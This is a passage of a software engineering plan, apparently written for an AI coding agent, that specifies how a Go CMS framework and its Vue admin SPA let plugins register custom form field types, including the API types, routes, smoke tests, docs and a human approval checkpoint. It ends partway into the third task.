ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 01): the framework half in summercms.go. A plugin registers a value-bearing field type through `pact`; cabana compiles, decodes, loads, lists, uploads and stores it (ML included); the admin SPA hosts its element globally. Framework first: plans 02 and 03 build the Journal editor on this API.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC and no edge-probe predicates were generated this run. CONTEXT D-01 to D-19, the three folded todos and RESEARCH Patterns 1-9 are the source of truth. Prohibitions above were recalled in-prompt and are descriptor-less (flagged-unverified).
|
||||
|
||||
## Assumptions (explicit)
|
||||
|
||||
- A5 (RESEARCH): settings forms and relation child or pivot forms refuse plugin field types at boot ("supported in controller forms only"), the same restriction cabana already documents for virtual fields and FormRules. D-13 targets controller forms.
|
||||
- Untouched detection (Claude's discretion, D-03): both layers. cabana skips a submitted value whose canonical JSON equals the served value; the element (plan 02) never re-serializes an untouched document.
|
||||
- Field-type asset discovery (Claude's discretion, research Open Question 2): a dedicated `GET {api}/field-types` route, so the navigation contract stays unchanged.
|
||||
- A translatable plugin type exchanges strings per locale (the TranslationWriter API is string-based and MLField sends only strings); a non-translatable type exchanges any JSON value.
|
||||
|
||||
## Plan sizing note
|
||||
|
||||
The locked plan count (6) puts the whole framework half in this plan. It has four tasks: one decision checkpoint (no implementation context) and three implementation tasks. The estimate exceeds the usual budget; it is advisory.
|
||||
|
||||
## Source coverage audit (phase-wide)
|
||||
|
||||
| Source | ID | Item | Plan | Status |
|
||||
|---|---|---|---|---|
|
||||
| GOAL | — | Plugins register field types; Journal Blog Editor edits imported HTML losslessly | 01-06 | COVERED |
|
||||
| REQ | — | none mapped (ROADMAP "Requirements: TBD") | — | n/a |
|
||||
| CONTEXT | D-01 | WYSIWYG + source toggle on TipTap | 02 | COVERED |
|
||||
| CONTEXT | D-02 | HTML in content and content_html on admin save | 03 | COVERED |
|
||||
| CONTEXT | D-03 | Byte-preserving unless edited | 01 (server skip), 02 (element), 03, 05 (UAT), 06 | COVERED |
|
||||
| CONTEXT | D-04 | Text, images, tables, embeds, raw HTML block | 02 | COVERED |
|
||||
| CONTEXT | D-05 | Embed placeholder, CheckHTML not relaxed | 02, 03, 04 | COVERED |
|
||||
| CONTEXT | D-06 | Translatable like mlmarkdown | 01, 03 | COVERED |
|
||||
| CONTEXT | D-07 | Markdown post opens with content_html | 03 | COVERED |
|
||||
| CONTEXT | D-08 | mlblogeditor replaces mlmarkdown for post content | 03 | COVERED |
|
||||
| CONTEXT | D-09 | Public write API unchanged | 03 | COVERED |
|
||||
| CONTEXT | D-10 | CheckHTML refuses on every locale, no goldmark on admin path | 01, 03 | COVERED |
|
||||
| CONTEXT | D-11 | Short global alias, collision fails boot | 01 | COVERED |
|
||||
| CONTEXT | D-12 | pact interface: options, decode, load, list | 01 | COVERED |
|
||||
| CONTEXT | D-13 | Element loads globally, value contract, --c-* only | 01, 02 | COVERED |
|
||||
| CONTEXT | D-14 | Plugin registers ML variant through cabana lift/hydrate | 01, 03 | COVERED |
|
||||
| CONTEXT | D-15 | Generic schema shape, OpenAPI, TS, dist, README, docs | 01 | COVERED |
|
||||
| CONTEXT | D-16 | TipTap in a custom element, plugin JS build, committed dist | 02 | COVERED |
|
||||
| CONTEXT | D-17 | Layer expands embeds, new tag pinned in the app | 04, 05 | COVERED |
|
||||
| CONTEXT | D-18 | Image upload with alt and caption | 01 (route), 02 (UI), 03 (storage) | COVERED |
|
||||
| CONTEXT | D-19 | Category content uses blogeditor | 03 | COVERED |
|
||||
| TODO | — | cabana-plugin-registered-field-types | 01 | COVERED |
|
||||
| TODO | — | cabana-richeditor-field-type | 03 | COVERED |
|
||||
| TODO | — | journal-imported-html-admin-resave (and its test) | 03, 05, 06 | COVERED |
|
||||
| RESEARCH | P1 | Registry threaded through compile, no package global | 01 | COVERED |
|
||||
| RESEARCH | P2 | Decode/Load inside the tx, FieldError mapping, written-values accessor | 01 | COVERED |
|
||||
| RESEARCH | P3 | Two-layer untouched detection | 01, 02 | COVERED |
|
||||
| RESEARCH | P4 | Preservation-first schema and serializer | 02 | COVERED |
|
||||
| RESEARCH | P5 | Element contract, global CSS owner (Pitfall 8) | 01, 02 | COVERED |
|
||||
| RESEARCH | P6 | Journal integration, category not translatable | 03 | COVERED |
|
||||
| RESEARCH | P7 | Embed expansion after the gate | 04 | COVERED |
|
||||
| RESEARCH | P8 | Plugin JS build, no eval, injectCSS false, check-dist | 02 | COVERED |
|
||||
| RESEARCH | P9 | Collision-free upload route, OpenAPI + phase09Routes | 01 | COVERED |
|
||||
| RESEARCH | Pitfall 7 | Non-default content_html companion write | 01 (accessor), 03 | COVERED |
|
||||
| RESEARCH | Pitfall 11 | No Docker: DryRun/unit smoke + human Docker-host gate | 05, 06 | COVERED |
|
||||
| RESEARCH | Security | Magic-byte image check on the editor upload | 03 | COVERED |
|
||||
| RESEARCH | OQ3 | Release scope (tags, bumps, UAT) | 04, 05 | COVERED |
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `pact.FormFieldType`, `pact.FormFieldValue`, `pact.FormFieldUpload`, `pact.FormFieldUploadResult`, `pact.FormFieldError` (with `Error() string`), `pact.HasFormFieldTypes`.
|
||||
- `cabana.FieldWrite`, `cabana.FieldWritesFromContext`, `cabana.WithFieldWrites`, `cabana.CompileFormWithTypes`, `cabana.FieldTypeAssets`, `cabana.FieldTypesResponse`, `cabana.FieldUploadResponse`.
|
||||
- `cabana.FormField` JSON keys `element`, `translatable`, `typeOptions` (Go fields `Element`, `Translatable`, `TypeOptions`).
|
||||
- Unexported: `fieldTypeRegistry`, `compileFieldTypes`, `readClientAssets`, `liftPluginValues`, `decodePluginFields`, `hydratePluginFields`, `servedFieldValue`, `isMLField`, `fieldUpload`, `fieldTypesList`, `withFieldWrites`.
|
||||
- Routes: `GET {api}/field-types`, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`.
|
||||
- New files: `modules/cabana/field_type.go`, `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_smoke_test.go`, `admin/src/app/fieldTypes.ts`, `admin/src/components/form/fields/PluginField.vue`, `admin/src/components/form/fields/MLPluginField.vue`, `admin/tests/form/PluginField.test.ts`, `docs/backend/field-types.md`.
|
||||
- SPA exports: `loadFieldTypes`, `loadGlobalStyles`, `GLOBAL_STYLE_OWNER`, `rendererForField`, `isRegisteredField`, `isMLField`, `FIELD_CHANGE_EVENT`, `FIELD_UPLOAD_EVENT`, `FIELD_UPLOAD_RESULT_EVENT`.
|
||||
- Smoke tests: `TestFieldTypeTracerSmoke`, `TestFieldTypeExpansionSmoke`.
|
||||
|
||||
<objective>
|
||||
Add the plugin field type API to pact and cabana and host plugin field elements in the admin SPA (D-11 to D-15, D-03 server half, D-06/D-14 storage path, D-10 refusal mapping, D-18 upload route).
|
||||
|
||||
Purpose: Journal (plans 02 and 03) and later plugins ship their own value-bearing field types without a framework release per type.
|
||||
Output: the pact types, the cabana registry, compile, save, show, list and upload paths, the two routes, regenerated OpenAPI and TS types, PluginField/MLPluginField and the global loader, rebuilt dist, READMEs and docs.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
@.planning/todos/pending/cabana-plugin-registered-field-types.md
|
||||
|
||||
Concurrency (16.1 D-02): another session may edit `modules/`. Before each commit run `git status --porcelain -- modules admin docs scripts` and `git diff` on the files you touch; stage only files this task changed, by explicit path. Commits: no co-author tags; code and planning docs in separate commits.
|
||||
|
||||
No Docker here (RESEARCH Pitfall 11): `go test ./modules/cabana` without `-run` fails on the testcontainers suites. Use the named `-run` sets below; full Postgres-backed coverage is plan 06 on a Docker host.
|
||||
|
||||
<interfaces>
|
||||
Proposed pact surface (Task 1 confirms it; names are Claude's discretion within D-12):
|
||||
|
||||
```go
|
||||
// in modules/pact/capabilities.go (pact already imports context and gorm; add io)
|
||||
type FormFieldType struct {
|
||||
Name string // global alias used as `type:` in fields.yaml, ^[a-z][a-z0-9]*$
|
||||
Element string // custom-element tag defined by Scripts, plugin prefix rule
|
||||
Translatable bool // value is a locale -> string map stored through cabana's translation writer
|
||||
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
|
||||
Styles []string // AdminFS paths under assets/ (.css), enabled on every admin page
|
||||
Options []string // the type's own fields.yaml keys
|
||||
CheckOptions func(options map[string]any) error `json:"-"` // optional
|
||||
Decode func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"` // required
|
||||
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"` // optional
|
||||
ListValue func(value any) string `json:"-"` // optional
|
||||
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
|
||||
}
|
||||
type FormFieldValue struct {
|
||||
DB *gorm.DB // the save transaction (Decode) or the read transaction (Load)
|
||||
Record any // the loaded record on update, the new model on create
|
||||
Field string
|
||||
Options map[string]any // the field's typeOptions
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // true when Locale is the host-column locale (or the type is not translatable)
|
||||
Value any // submitted (Decode) or stored (Load); a string for a translatable type
|
||||
Translated func(attribute string) (string, bool, error) // exact read of another attribute of Record in Locale; nil when not translatable or no writer
|
||||
}
|
||||
type FormFieldUpload struct {
|
||||
DB *gorm.DB
|
||||
Record any // nil on the create form ({id} 0)
|
||||
Field string
|
||||
Options map[string]any
|
||||
Filename string
|
||||
Body io.Reader // already capped by http.body_limits.upload_bytes
|
||||
}
|
||||
type FormFieldUploadResult struct{ URL string }
|
||||
type FormFieldError struct{ Messages []string } // phrase keys or text; Error() joins them
|
||||
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType } // implemented by the plugin
|
||||
```
|
||||
|
||||
Proposed cabana surface:
|
||||
|
||||
```go
|
||||
type FieldWrite struct {
|
||||
Locale string // "" for a non-translatable type
|
||||
Default bool // the value went to the host column
|
||||
Value any
|
||||
}
|
||||
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool) // copy; false outside create/update
|
||||
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context // for Form hook tests
|
||||
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*FormSchema, error)
|
||||
// FormField gains: Element string `json:"element,omitempty"`, Translatable bool `json:"translatable,omitempty"`,
|
||||
// TypeOptions map[string]any `json:"typeOptions,omitempty"`, fieldType *compiledFieldType `json:"-"`
|
||||
```
|
||||
|
||||
Routes (relative to `<prefix>/api/v1`):
|
||||
- `GET /field-types` → `{"data":[{"name","element","translatable","scripts":["<prefix>/assets/vendor/plugin/...js?v=<12 hex>"],"styles":[...]}]}`, sorted by name.
|
||||
- `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (multipart, one `file` part; `{id}` 0 = create form) → 201 `{"data":{"url":"..."}}`; 422 `validation_failed` on the field for a FormFieldError; 404 for an unknown field, a field without a plugin type or without Upload, or a record outside the FormExtendQuery scope; 413 over the cap.
|
||||
|
||||
Element contract (D-13; extends the Phase 10.1 widget contract, documented in docs/backend/field-types.md). Fixed for this phase: D-13 leaves the contract to the planner and this block finalizes it. Plan 02 implements these exact names in parallel (wave 1), so Task 1 does not reopen them; Task 1 may rename only pact and cabana Go identifiers and the GET /field-types answer, which plan 02 never references.
|
||||
- The SPA creates the element imperatively and sets the `value` property (string for a translatable type, any JSON otherwise) and the attributes `field-name`, `record-id` ('' on create), `locale` (content locale for a translatable type, '' otherwise), `ui-locale` (admin UI language), `options` (JSON of typeOptions), `disabled` (present when read-only), `invalid` (present when the field has an error).
|
||||
- The element dispatches bubbling CustomEvents: `summer-change` with `detail.value` only on user edits; `summer-upload` with `detail {id, file}`. The SPA answers an upload with `summer-upload-result` `detail {id, url}` or `{id, error}` dispatched on the element.
|
||||
- Setting `value` to the value the element last emitted must not reset the element; the SPA sets `value` only when the form value differs from the element's current `value`.
|
||||
- The element never receives a token, a cookie, a function or a Vue instance, and styles only through the public `--c-*` CSS variables, with selectors scoped under its tag.
|
||||
|
||||
Existing code the executor builds on (read, do not re-derive):
|
||||
- `modules/cabana/form_schema.go`: `formFieldTypes` (lines 24-30), `formFieldKeys` (37-47), `decodeFields(raw []byte)` (399), `fieldMap.UnmarshalYAML` (411), `compileFieldNode(name, node)` (455; key check at 466 runs before type resolution at 474).
|
||||
- `modules/cabana/registry.go`: `compileRegistry(items []controllerRef)` (57), callers of `compileList` and `compileFormIfPresent`.
|
||||
- `modules/cabana/http.go`: `Activate` (74-184), `mount` (220-361; fileupload routes 335-347, `requireAjax`, `constrainFile`), `protect` (1030), `projectRow` (1067).
|
||||
- `modules/cabana/crud.go`: `save` (567-715: ML lift 600, loadRecord 616, projectOperation/Fill 622, applyMLTranslations 688, hydrateMLRecord 709), `ShowRecord` (418, hydrate at 444), `lifecycleFailure` (815), `scalarFormField` (1224) used at 204 and 1073.
|
||||
- `modules/cabana/field_ml.go`: `mlFieldType`, `liftMLValues`, `applyMLTranslations`, `hydrateMLRecord`, `TranslationWriter`.
|
||||
- `modules/cabana/extension.go`: `widgetTagPrefix`, `checkWidgetTag`, `compileClientAssets` (253-300, the `read` closure to extract), `checkAssetPath`, `bootErr`, `pluginAsset`.
|
||||
- `modules/cabana/tx_context.go`: `withVirtualFields`/`VirtualFieldsFromContext` (36-60), the pattern for the writes accessor.
|
||||
- `admin/src/components/form/fields/WidgetField.vue`: element creation, `defined()` with `WIDGET_TIMEOUT`, `api.POST` with `params.path` from the control props, ExtensionFailure.
|
||||
- `admin/src/app/pluginAssets.ts`: `assetAllowed`, `loadScript`, `loadStyles`, `activateStyles` (disables links whose owner is not active: Pitfall 8).
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Confirm the published pact field-type API before it is written (D-12)</name>
|
||||
<read_first>modules/pact/capabilities.go (AdminAction, AdminActionInput, HasAdminActions, AdminClientAssets: the style to copy), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md (D-11 to D-15, Claude's Discretion), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 1, 2, 5, 9; Code Example 1), this plan's interfaces block</read_first>
|
||||
<action>Do the automatable part, then stop. Run the verify command (baseline: the contract and schema tests this plan must keep green pass before any change) and confirm `git status --porcelain -- modules admin docs scripts` prints nothing; if it prints anything, report the in-flight files (concurrent session, 16.1 D-02) and stop without editing.
|
||||
|
||||
Then print the proposal sheet: the pact types and func signatures exactly as in the interfaces block; which funcs are optional (CheckOptions, Load, ListValue, Upload) and which is required (Decode); the cabana additions (FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, the FormField keys element, translatable and typeOptions); the two routes and their answers; the element contract (value property, attributes, summer-change, summer-upload, summer-upload-result), labelled "fixed: shared with plan 02, not open at this checkpoint"; the alias rule (^[a-z][a-z0-9]*$, no core type, no duplicate) and the option-key rule (^[A-Za-z][A-Za-z0-9]*$, no core field key); and the assumptions section of this plan (A5 refusal in settings and relation forms, field-types route, string values for translatable types). Stop for the human.</action>
|
||||
<decision>Adopt this pact and cabana field-type API as proposed, or adjust named Go identifiers before they are written?</decision>
|
||||
<context>D-12 rates the pact interface one-way: once summercms is tagged (plan 05, v0.1.17) other repositories compile against these names, and the todo cabana-plugin-registered-field-types expects payment and other plugins to build on it. Before the tag, a rename costs one search-and-replace in this phase; after it, every consuming plugin changes. Journal's Go integration (plan 03) is the first consumer and is written against these exact names. Scope of this checkpoint: pact and cabana Go identifiers and the GET /field-types answer only. The element contract (tag prefix rule, value property, the attributes, summer-change, summer-upload, summer-upload-result) is fixed by this plan per D-13 and is being implemented by plan 02 in parallel, so it is not adjustable here; a human who wants it changed replies "stop" here and at plan 02's package checkpoint, and plans 01 and 02 are re-planned together.</context>
|
||||
<options>
|
||||
<option id="approve">
|
||||
<name>Approve as proposed</name>
|
||||
<pros>Matches the research recommendation (struct of funcs, like pact.AdminAction); plans 02 and 03 are written against these names</pros>
|
||||
<cons>Field names become a published contract at the plan 05 tag</cons>
|
||||
</option>
|
||||
<option id="adjust">
|
||||
<name>Approve with named changes</name>
|
||||
<pros>The human renames or reshapes pact and cabana Go identifiers before code exists</pros>
|
||||
<cons>The executor must apply the same renames to plans 03, 05 and 06 text it reads later (record them in the SUMMARY); plan 02 references no Go identifier, so it is unaffected</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "approve", "adjust:" followed by the Go identifier changes, or "stop" to change the element contract (re-plans 01 and 02 together).</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
|
||||
<fails_when>Non-zero exit: vet reports a problem, or fewer than four "--- PASS: Test" lines (a baseline contract or schema test already fails before this plan changes anything).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The baseline verify passed and `git status --porcelain -- modules admin docs scripts` printed nothing.
|
||||
- The SUMMARY records the human's reply verbatim and, for "adjust", the final identifier list that Tasks 2 to 4 use; the element contract names in that list are exactly the ones in the interfaces block.
|
||||
</acceptance_criteria>
|
||||
<done>A human approved the API or named Go identifier changes, with the element contract unchanged; nothing has been edited yet.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: one non-translatable plugin field type end to end (pact, boot, schema, save Decode, Show Load, field-types route, SPA PluginField)</name>
|
||||
<reversibility rating="one-way">Published pact API: after the plan 05 tag, other plugins' go.mod require these names; renaming means editing every consumer (D-12).</reversibility>
|
||||
<precondition>Task 1 was answered "approve" or "adjust" and the SUMMARY lists the identifiers to use.</precondition>
|
||||
<files>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/field_type.go, modules/cabana/form_schema.go, modules/cabana/schema_types.go, modules/cabana/registry.go, modules/cabana/http.go, modules/cabana/crud.go, modules/cabana/extension.go, modules/cabana/settings.go, modules/cabana/relation_form.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, admin/src/app/fieldTypes.ts, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/components/form/registry.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/PreviewField.vue, admin/src/components/form/FormField.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/PluginField.vue, admin/tests/form/PluginField.test.ts, modules/boardwalk/dist, docs/backend/field-types.md, docs/backend/forms.md</files>
|
||||
<read_first>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/form_schema.go, modules/cabana/schema_types.go (FormField, ListColumn), modules/cabana/registry.go, modules/cabana/http.go (Activate, mount, protect, navigation handler), modules/cabana/crud.go (save, ShowRecord, lifecycleFailure, scalarFormField and its callers), modules/cabana/extension.go, modules/cabana/settings.go (decodeFields caller at 74), modules/cabana/relation_form.go (decodeFields callers at 145 and 246), modules/cabana/admin_openapi.go (the /navigation and FormField annotations), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/query_relation_test.go (openDryRunDB, newDryRunListService: test style), modules/cabana/README.md (Admin API routes table, API reference), scripts/check-admin-openapi.sh, scripts/check-admin-dist.sh, admin/src/app/pluginAssets.ts, admin/src/main.ts, admin/src/views/LoginView.vue, admin/src/state/useNavigation.ts, admin/src/components/form/registry.ts, admin/src/components/form/control.ts, admin/src/components/form/FieldRenderer.vue, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/fields/WidgetField.vue, admin/tests/form/WidgetField.test.ts, docs/backend/partials-and-widgets.md (Form widgets, Widget element contract), docs/backend/forms.md, docs/site.yaml</read_first>
|
||||
<action>Build the thinnest complete path for a plain plugin type (per D-11, D-12, D-13, D-15), using the identifiers recorded by Task 1.
|
||||
|
||||
pact (D-12): add FormFieldType, FormFieldValue, FormFieldUpload, FormFieldUploadResult, FormFieldError (Error joins Messages with "; ") and HasFormFieldTypes to modules/pact/capabilities.go with doc comments in the AdminAction style: cabana owns routes, CSRF, authentication, permissions, record scope, locale storage and the untouched-value skip; Decode returns the value to store, Load returns what the element receives, ListValue returns list text, Upload stores a file and returns its URL. The HasFormFieldTypes doc comment says it is implemented by the plugin (not a controller), like HasAdminControllers.
|
||||
|
||||
Registry (D-11, RESEARCH Pattern 1): new modules/cabana/field_type.go with compileFieldTypes(plugins []party.Plugin) (*fieldTypeRegistry, error), called in Activate before compileRegistry and passed down as a parameter; no package-level registry. Rules, each a boot error of the form "cabana: plugin <id> field type <name>: <reason>": the alias matches ^[a-z][a-z0-9]*$; it is not a key of formFieldTypes; it is not claimed by another plugin (the message names both plugin IDs); Element passes checkWidgetTag with widgetTagPrefix(pluginID); Decode is non-nil; each Options key matches ^[A-Za-z][A-Za-z0-9]*$, is not a key of formFieldKeys and is not repeated; a plugin declaring Scripts or Styles implements pact.AdminAssets. Extract the read-and-hash closure of compileClientAssets into readClientAssets(pluginID, owner string, fsys fs.FS, files []string, exts ...string) ([]*pluginAsset, error) and use it for both controller assets and field-type Scripts (.js, .mjs) and Styles (.css); field-type assets join Registry.assets so the existing GET {prefix}/assets/{vendor}/{plugin}/{file...} route serves them with ETag and ?v=.
|
||||
|
||||
Compile (D-12.1): compileRegistry and compileList/compileFormIfPresent take the registry; decodeFields(raw, types) passes it through fieldMap to compileFieldNode, which now reads the type first: for a plugin alias the accepted keys are label, comment, span, type, required, tab, context, attributes, size, default plus the type's Options; any other key is "unknown field <key>"; option values decode from the YAML nodes into JSON-compatible values (string, bool, int or float64, []any, map[string]any) in FormField.TypeOptions; CheckOptions (when non-nil) errors fail boot naming field and type. Core types keep today's path byte for byte. FormField gains Element, Translatable, TypeOptions (JSON element, translatable, typeOptions, omitempty) and an unexported fieldType pointer (json "-"). CompileForm keeps its signature and core-only behaviour (a plugin alias stays "unsupported type"); add CompileFormWithTypes(pluginID, ctl, fsys, types) that runs the alias and option checks (element prefix and assets are checked by Activate). settings.go and relation_form.go use a refusing registry: a plugin alias there fails boot with "plugin field type <name> is supported in controller forms only" (assumption A5).
|
||||
|
||||
Save and show (D-12.2, D-12.3, D-10 mapping): the scalarFormField checks at crud.go BindWritableFields and mergedRules also accept a field with a plugin type, so it binds to its column and `required` works. New liftPluginValues(cc, body, op), called next to liftMLValues before the transaction, removes the values of non-translatable plugin fields present in the body whose context allows op and keeps them as raw JSON values (projection would drop nested ones). New decodePluginFields, called inside the transaction after projectOperation and before lagoon.Fill, runs Decode with FormFieldValue{DB: tx, Record: target, Field, Options, Default: true, Value} and sets projected[field] to the result; a *pact.FormFieldError becomes &ValidationError{Details: {field: Messages}} (422 validation_failed); any other error goes through lifecycleFailure (opaque 500, no plugin text). New hydratePluginFields runs after hydrateMLRecord in ShowRecord and at the end of save: data[field] = Load(...) with Value = the projected stored value; nil Load keeps the value; a Load error is an opaque 500.
|
||||
|
||||
Route (D-13): GET {api}/field-types behind the backend guard (handler fieldTypesList) answers the FieldTypesResponse shape in the interfaces block, [] when no plugin registers a type. Annotate it in admin_openapi.go (FieldTypeAssets, FieldTypesResponse) and document the FormField keys; add "GET /field-types" to phase09Routes; run bash scripts/check-admin-openapi.sh (writes admin/openapi/admin.json and admin/src/api/schema.d.ts) and add the FieldTypeAssets alias to admin/src/api/types.ts.
|
||||
|
||||
SPA (D-13, D-15): pluginAssets.ts gains GLOBAL_STYLE_OWNER = '*' and loadGlobalStyles(urls), whose links activateStyles never disables (Pitfall 8). New admin/src/app/fieldTypes.ts: loadFieldTypes() GETs /field-types, loads each script once through loadScript, adds styles through loadGlobalStyles and resolves to the list; it never rejects (a failed script surfaces later as that field's failure state). main.ts calls it with loadNavigation when signed in; LoginView calls it after login. formContext.ts adds FIELD_CHANGE_EVENT = 'summer-change'. New PluginField.vue modelled on WidgetField.vue (same header rule: never a token, cookie, function or Vue instance; imperative element in a mount point; status loading, ready or failed with WIDGET_TIMEOUT; ExtensionFailure): it sets the element's value property from modelValue only when it differs from element.value, sets the attributes of the element contract (field-name, record-id, locale empty for a plain type, ui-locale from FORM_LOCALE, options as JSON of typeOptions, disabled, invalid), and emits update:modelValue with detail.value on summer-change. registry.ts adds rendererForField(field) and isRegisteredField(field): a field with an element renders PluginField and counts as a value field; FieldRenderer, PreviewField and formState's editable check switch to them; FormField's group label treats a plugin field as a group. Rebuild dist with npm --prefix admin run build.
|
||||
|
||||
Smoke tests: modules/cabana/field_type_smoke_test.go TestFieldTypeTracerSmoke (no database): a fake plugin "acme.demo" whose AdminFS (fstest.MapFS) holds assets/js/notes.js registers type "notes" with element "acme-demo-notes", option key "rows", a Decode that refuses the string "bad" with a FormFieldError and otherwise returns the value, and a Load that prefixes "served:"; subtests: alias collision with a second plugin and with "markdown" fail boot; an unknown key and a CheckOptions error fail boot; GET /field-types through httptest lists notes with a ?v= script URL; GET schema/form carries element and typeOptions; decodePluginFields on a stub record sets projected["notes"] and maps "bad" to a ValidationError on "notes"; hydratePluginFields serves the "served:" value. admin/tests/form/PluginField.test.ts: a stub custom element; mounting PluginField sets the value property and the attributes; a summer-change event emits update:modelValue; an echo of the same value does not set the property again; an undefined tag ends in the failure state.
|
||||
|
||||
Docs (CLAUDE.md documentation rules, neutral names only): pact README (Features and API reference rows for each new pact identifier); cabana README (the GET /field-types row in Admin API routes, CompileFormWithTypes and the FormField keys in API reference); new docs/backend/field-types.md (front matter title "Plugin field types", section backend, order 25) covering registration, aliases, options, Decode and Load and the element contract; a link from docs/backend/forms.md where the supported field types are listed. Commit as feat(pact), feat(cabana) and feat(admin) commits, each with its README, docs, OpenAPI or dist changes, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than five top-level "--- PASS: Test" lines (the tracer smoke is missing or failing, or the route inventory, permission matrix or schema tests regressed).</fails_when>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test -- tests/form/PluginField.test.ts tests/form/WidgetField.test.ts tests/form/registry.test.ts tests/form/formState.test.ts && bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: vue-tsc reports a type error, a vitest file fails or is not found, check-admin-openapi prints "committed admin OpenAPI output is stale", check-admin-dist prints "modules/boardwalk/dist is stale", or TestDocsTree reports an identifier, link or anchor the docs name that does not exist.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type HasFormFieldTypes interface" modules/pact/capabilities.go` prints one line, and `grep -n "func compileFieldTypes" modules/cabana/field_type.go` prints one line.
|
||||
- `grep -n '"GET /field-types"' modules/cabana/security_coverage_test.go` prints one line and admin/openapi/admin.json contains the path "/field-types".
|
||||
- TestFieldTypeTracerSmoke passes with subtests for: collision between two plugins, collision with markdown, unknown key, CheckOptions error, the field-types route, schema keys element and typeOptions, Decode success and FormFieldError mapping, Load on show.
|
||||
- PluginField.test.ts passes, including the echo case (no second property write for an equal value).
|
||||
- check-admin-openapi --check, check-admin-dist and TestDocsTree pass; docs/backend/field-types.md has front matter section backend.
|
||||
- `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing (neutral names).
|
||||
</acceptance_criteria>
|
||||
<done>A fake plugin's non-translatable type compiles at boot, appears in the form schema and the field-types list, is decoded on save and loaded on show, and the SPA renders its element with a two-way value binding.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion (Go): translatable types, untouched skip, written-values accessor, list values and the cabana upload route</name>
|
||||
<files>modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_ml.go, modules/cabana/crud.go, modules/cabana/tx_context.go, modules/cabana/list_schema.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, docs/backend/field-types.md</files>
|
||||
